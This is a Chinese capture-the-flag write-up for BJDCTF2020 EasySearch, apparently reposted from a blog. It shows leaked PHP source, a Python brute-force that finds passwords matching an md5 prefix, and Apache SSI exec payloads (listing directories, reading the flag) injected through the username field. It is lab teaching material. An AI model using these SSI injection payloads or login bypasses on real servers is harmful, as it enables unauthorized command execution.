首页 > 其他分享 >[BJDCTF2020]EasySearch

[BJDCTF2020]EasySearch

时间:2024-04-26 16:00:10浏览次数:25  
标签:username shtml password EasySearch SSI BJDCTF2020 md5

[BJDCTF2020]EasySearch

打开环境

q1pA2wPA07NAp27_O0YE0o_1-8Kc76Nk_PjrzHrRG50

页面中与源代码没有发现什么有用的信息,通过扫描工具扫描,看看有没有什么有用的文件

结果发现无论是dirsearch、dirmap还是御剑,通通扫描不出来什么有用的东西,查了师傅们的WP才知道,这里的文件名是index.php.swp

Fk73ffUoAo3AD7UWE5A4bTYQgBykmo4Y3us2mQm3Wk4

<?php
	ob_start();
	function get_hash(){
		$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
		$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
		$content = uniqid().$random;
		return sha1($content); 
	}
    header("Content-Type: text/html;charset=utf-8");
	***
    if(isset($_POST['username']) and $_POST['username'] != '' )
    {
        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) {
            echo "<script>alert('[+] Welcome to manage system')</script>";
            $file_shtml = "public/".get_hash().".shtml";
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            $text = '
            ***
            ***
            <h1>Hello,'.$_POST['username'].'</h1>
            ***
			***';
            fwrite($shtml,$text);
            fclose($shtml);
            ***
			echo "[!] Header  error ...";
        } else {
            echo "<script>alert('[!] Failed')</script>";
            
    }else
    {
	***
    }
	***
?>

第一个条件是 if ( $admin == substr(md5($_POST['password']),0,6)) ,$admin='6d0bc1'; ,要求是md5加密某个字符串,然后截取前6位,得到的结果要与$admin相等。

编写脚本

from hashlib import md5

for i in range(10000000):
    if md5(str(i).encode('utf-8')).hexdigest()[:6] == '6d0bc1':
        print(i)

得到3个有用的结果

2020666

2305004

9162671

选取其中一个计进入系统

vlsXptt164ruZKR1hndzsPufAqM1w4obt0wa3KbbUxM

响应头发现一个shtml文件

lScw8sJoB9d-XkTJc3884_unk5VMaKjOV7OyOfgzlQw

打开后进入页面

RYlrjh20eSkGUA7QMHufQZpVyLPMAE8ojEefEnFOR-4

看到shtml想到Apache SSI 远程命令执行漏洞

shtml是一种用于SSI技术的文件——Server Side Include--SSI。

SSI是为WEB服务器提供的一套命令,这些命令只要直接嵌入到HTML文档的注释内容之中即可。

然后利用shtml的命令执行,可控参数是username

payload1

username=<!--#exec cmd="ls ../"-->&password=9162671

w9__wNw21tBK1sfVp_gHEcJ17H1iR_VVTfokhHiRu44

注意这里需要重新登录,每次的shtml的名称都不一样

payload2:

username=<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"-->&password=9162671

gtBtMzaa4Ux0eItupvtorFFWjfD88zaxYP98xR843E0

标签:username,shtml,password,EasySearch,SSI,BJDCTF2020,md5
From: https://www.cnblogs.com/fishjumpriver/p/18160270

相关文章

  • BJDCTF2020[encode]
    题目:encode,地址:encode查壳发现时upx壳,使用工具脱壳命令"upx-d",如果遇到工具脱不了的壳就手动脱壳,手动脱壳请帅哥美女*们看这篇手动脱壳。使用ida打开,观察逻辑后重命名函数:逻辑为一个换表base64+异或+RC4。其中RC4可以根据函数传入key,进而生成Box盒子来判断:知道逻辑后......
  • [BJDCTF2020]Easy MD5 1
    [BJDCTF2020]EasyMD51审题看到一个登录框,并且题目为ezMD5,猜测使用md5绕过SQL知识点md5的绕过解题使用ffifdyop绕过SQL查看源代码弱比较绕过输入?a[]=1&b[]=2发现为===强比较,由于md5对数组不敏感也可以使用数组绕过,这是md5的另一个特性,就是md5无法对数组进行......
  • Easysearch 内核完善之 OOM 内存溢出优化案例一则
    最近某客户在使用Easysearch做聚合时,报出OOM导致掉节点的问题,当时直接让客户试着调整indices.breaker.request.limit,但是不起作用,于是又看了下Easysearch在断路器相关的代码,并自己测试了下。断路器的种类和作用Easysearch内部有个Circuitbreaker机制,目的是防止各种......
  • INFINI Labs 产品更新 | Easysearch 1.7.1发布
    INFINILabs产品又更新啦~,包括Console,Gateway,Agent1.23.0和Easysearch1.7.1。此次版本重点修复历史遗留Bug、网友们提的一些需求等。以下是本次更新的详细说明。INFINIConsolev1.23.0INFINIConsole是一款非常轻量级的多集群、跨版本的搜索基础设施统一管控平台。通......
  • [BJDCTF2020]Easy MD5
    打开题目后就是一个没有任何回显的查询页面 查看源码无果,在f12中的网络功能中发现了其中一个数据包中的响应头中有提示 提示为:hint:select*from'admin'wherepassword=md5($pass,true)可见这里最主要的是要绕过sql语句中的password=md5($pass,true),这里的话就需要绕过M......
  • [BJDCTF2020]Cookie is so stable
    [BJDCTF2020]Cookieissostable打开环境,在页面源代码中发现提示查看cookiescookie里的user的值会显示到页面中在user处尝试注入{{7*'7'}}回显7777777==>Jinja2{{7*'7'}}回显49==>Twig回显49所以是Twigpayload:{{_self.env.registerUndefinedFilterCallback("e......
  • [BJDCTF2020]Mark loves cat
    [BJDCTF2020]Marklovescat打开环境,在网页端没发现什么提示,通过dirsearch发现有git源码泄露通过githack下载下来flag.php里的内容是读取flag文件内容并赋值给$flag<?php$flag=file_get_contents('/flag');index.php的内容多一些,贴出来做代码审计<?phpinclude'fla......
  • [BJDCTF2020]ZJCTF,不过如此
    [BJDCTF2020]ZJCTF,不过如此代码审计,在符合if的条件后,我们可以通过include函数包含想要查看的文件因此,首先需要传入两个参数text和file:text参数必须不为空,内容需要为Ihaveadream,file参数的内容则在后面的注释里提示我们为next.php,并且file参数里面不能包含/flag/,否则程序会......
  • 用 Easysearch 帮助大型车企降本增效
    最近某头部汽车集团需要针对当前ES集群进行优化,背景如下:ES用于支撑包括核心营销系统、管理支持系统、财务类、IT基础设施类、研发、自动驾驶等多个重要应用,合计超50余套集群,累计数据超1.5PB。本文针对其中一个ES集群进行分享,该集群原本使用的是ES7.3.2免费版,数据已......
  • [BJDCTF2020]The mystery of ip
    [BJDCTF2020]Themysteryofiphint页面的源代码里发现提示应该是和IP相关,有可能用到XFF请求头,遂用BP抓包修改了XFF之后,被成功执行,XFF可控,代码是php代码,推测:PHP可能存在Twig模版注入漏洞Smarty模板的SSTI漏洞(主要为Flask存在Jinjia2模版注入漏洞)添加模板算式,{{7*7}}成......